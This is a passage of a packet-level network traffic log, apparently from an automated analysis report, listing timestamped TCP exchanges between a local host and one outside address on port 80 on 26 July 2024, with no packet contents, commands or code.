Jul 26, 2024 10:36:21.882774115 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882806063 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882817030 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882839918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.882847071 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.882894993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883373022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883426905 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883435965 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883459091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883492947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883496046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883514881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883526087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883559942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883560896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883569002 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883594036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883606911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883627892 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883632898 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883651018 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.883682966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.883692026 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.929306984 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.929377079 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.929754019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.929764986 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.929775000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.929805994 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.929840088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.929997921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.930008888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.930018902 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.930052996 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.930084944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.930860043 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931042910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931056023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931078911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931078911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931113005 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931273937 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931283951 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931293964 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931305885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931324959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931354046 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931915998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931926012 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931937933 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931947947 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931957006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931967974 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.931972027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.931972027 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.932003021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.932030916 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933155060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933166981 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933175087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933187008 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933198929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933202028 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933208942 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933219910 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933223009 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933244944 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933271885 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933830023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933840990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933850050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933859110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933868885 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933877945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933887959 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933888912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.933923960 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.933954954 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.934813023 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934823990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934834003 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934844017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934854031 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934863091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934865952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.934873104 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.934894085 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.934933901 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.934981108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.936122894 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936134100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936145067 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936155081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936165094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936175108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.936187983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.936187983 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.936228037 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937247992 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937259912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937268019 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937278032 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937287092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937298059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937306881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937330961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937330961 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937366962 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937513113 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937522888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937534094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937544107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937552929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937563896 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937563896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937576056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.937587023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937607050 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.937684059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.972770929 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.972847939 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.972851992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.972858906 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.972901106 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.973131895 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.973275900 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.973330021 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.973340034 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.973349094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.973361015 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.973383904 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.973412991 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975056887 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975068092 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975079060 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975087881 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975099087 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975109100 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975115061 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975119114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975128889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975138903 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975148916 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975157976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975166082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975166082 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975167990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975193024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975193024 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975239992 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975704908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975714922 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975723982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975733042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975743055 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975753069 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975754023 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975761890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.975775957 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975806952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.975806952 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.976694107 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976706028 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976716042 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976727009 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976737022 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976747036 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976751089 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.976757050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.976782084 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.976811886 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.977592945 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977606058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977615118 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977627039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977637053 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977648020 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.977658987 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.977691889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.977691889 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.978516102 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978528976 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978538990 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978549004 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978559971 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978579998 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978585958 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.978590965 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:21.978606939 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:21.978641033 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022005081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022067070 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022119999 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022131920 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022166967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022197008 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022427082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022438049 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022449017 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022464037 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.022479057 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022480011 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.022510052 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.024775982 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.024827003 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.029361010 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029414892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.029438972 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029449940 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029494047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.029737949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029748917 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029758930 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029771090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.029788971 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.029813051 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.030291080 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030303001 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030316114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030327082 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030339956 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030352116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030353069 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.030363083 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.030370951 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.030391932 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.030421972 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.035121918 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035134077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035144091 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035155058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035166025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035176039 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035187006 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.035191059 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.035217047 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.035244942 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.038227081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038239002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038249016 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038265944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038276911 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038280964 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.038288116 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038299084 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038304090 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.038310051 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.038342953 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.038372993 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039757967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039769888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039784908 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039796114 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039805889 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039810896 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039812088 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039819002 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039829969 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039835930 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039841890 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039854050 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039863110 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039874077 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039874077 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039884090 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039895058 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039899111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039899111 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039906025 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039917946 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039930105 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.039968967 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.039985895 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.040081978 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.041176081 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041186094 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041196108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041213989 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041224957 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041233063 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.041235924 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041246891 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041258097 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.041282892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.041282892 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.041313887 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.064594030 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.064758062 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.064847946 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.064865112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.064918041 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.064970970 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065064907 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065074921 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065114021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065144062 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065633059 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065649033 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065660000 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065670967 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065682888 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065690041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065690041 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065695047 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065706968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.065711021 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065740108 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.065769911 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.066157103 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066168070 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066180944 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066191912 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066209078 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066209078 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.066221952 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066231966 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.066234112 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.066251040 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.066274881 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.066293955 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.067075968 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067086935 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067096949 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067109108 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067118883 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067130089 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067140102 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.067141056 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067154884 CEST	80	49713	185.215.113.16	192.168.2.6
Jul 26, 2024 10:36:22.067157984 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.067200899 CEST	49713	80	192.168.2.6	185.215.113.16
Jul 26, 2024 10:36:22.067929983 CEST	80	49713	185.215.113.16	192.168.2.6
